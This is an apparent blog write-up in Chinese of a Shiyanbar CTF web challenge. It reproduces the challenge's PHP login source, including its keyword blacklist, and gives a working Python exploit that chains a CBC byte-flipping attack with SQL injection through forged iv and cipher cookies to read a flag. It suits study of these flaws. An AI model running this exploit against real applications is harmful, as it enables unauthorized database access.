实验吧-简单的登录题

前言

这是在实验吧上面的一道web题。主要考察cbc字节反转攻击。

分析

题目开始就是输入id去登录
1

首先想到的就是sql注入了,输入1'后页面显示Hello,重新载入的话页面返回报错信息

2

确实存在注入,看那后面的逗号,猜测注入点在limit后面。然后试了很多,发现题目把union,#,procedure等都过滤了,暂时没想到任何绕过的方法。然后抓包看看消息头看看有没有提示

3

提示存在test.php文件,访问后是php源码,接下来就是源码分析了

<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
        return 1;
    }
    return 0;
}
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
                $rows=mysqli_fetch_array($result);
                echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
            }
            else{
                echo '<h1><center>Hello!</center></h1>';
            }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
        die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

分析整个代码可以发现,通过post的id值由于被sqliCheck函数过滤了关键字无法在此处注入。另一处可注入的点在sql语句拼接的时候,在这里代码把解序列化后的数据直接拼接进sql语句中,如果可以控制此处的数据那么就可以造成注入。
那该如何控制这里的数据呢?可以发现,程序使用了aes-128-cbc的加密算法来加密和解密,而这种算法是存在字节反转攻击的,再配合程序在解序列化失败后返回解密后的明文,我们就可以控制密文来得到我们想要的任意明文,从而控制sql语句。对于cbc字节反转攻击的利用方法和原理网上有很多,抽时间自己也总结一下。下面是我的exp

import requests,base64,urllib,math

def work():
    url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    payload = '0 union select 1,value,3 from you_want limit 1#'  
    #payload = 'x'*20

    plaintext = 'a:1:{s:2:"id";s:%d:"%s";}'%(len(payload),payload)
    badText = 'x'*16
    if len(plaintext)%16:
        if len(plaintext)%16>3:
            badText = 'x'*(len(plaintext)%16-3)+'";}'
        elif len(plaintext)%16 == 3:
            badText = '";}'
        elif len(plaintext)%16 == 1:
            badText = '}'
        else:
            badText = ';}'
    r = requests.post(url,data={'id':'x'*len(payload)})
    sc = r.headers['Set-Cookie'].split(',')

    iv = 'a'*16
    cipher = sc[1][sc[1].find('=')+1:]
    blockNum = len(cipher)/16
    cipher = base64.b64decode(urllib.unquote(cipher))
    blockNum = len(cipher)/16
    cipherBlock = [iv]
    cipherBlock += [cipher[16*i:16*(i+1)] for i in xrange(blockNum)]
    plainBlock = [plaintext[16*i:16*(i+1)] for i in xrange(blockNum)]

    for i in xrange(blockNum-1,-1,-1):
        s1 = plainBlock[i]
        s2 = cipherBlock[i]
        tmp = ''

        for j in xrange(len(s1)):
            tmp += chr(ord(s1[j])^ord(badText[j])^ord(s2[j]))

        cipherBlock[i]=tmp+s2[len(tmp):]
        if i == 0:
            iv = cipherBlock[0]

        iv_new = urllib.quote(base64.b64encode(iv))
        cipher_new = urllib.quote(base64.b64encode(''.join(cipherBlock[1:])))
        headers={'Cookie':'iv={};cipher={}'.format(iv_new,cipher_new)}

        r = requests.get(url,headers=headers)

        if i != 0: 
            tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]
            badText = base64.b64decode(tmp)[16*(i-1):16*i]
        else:
            print r.text.encode('gb18030')


work()

最后通过控制exp中的payload来注入sql语句,读取flag

C:\Users\gyh\Desktop>python 1.py
??????<h1><center>Hello!flag{c42b2b758a5a36228156d9d671c37f19}</center></h1>

C:\Users\gyh\Desktop>

总结

这道题主要考察cbc字节反转攻击,再结合本题在解序列化失败后返回解密的明文的特定的情况,可以控制整个明文字符串。但是当时没注意本题的这种特定情况导致我浪费了很多时间,看来细心很重要啊。

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值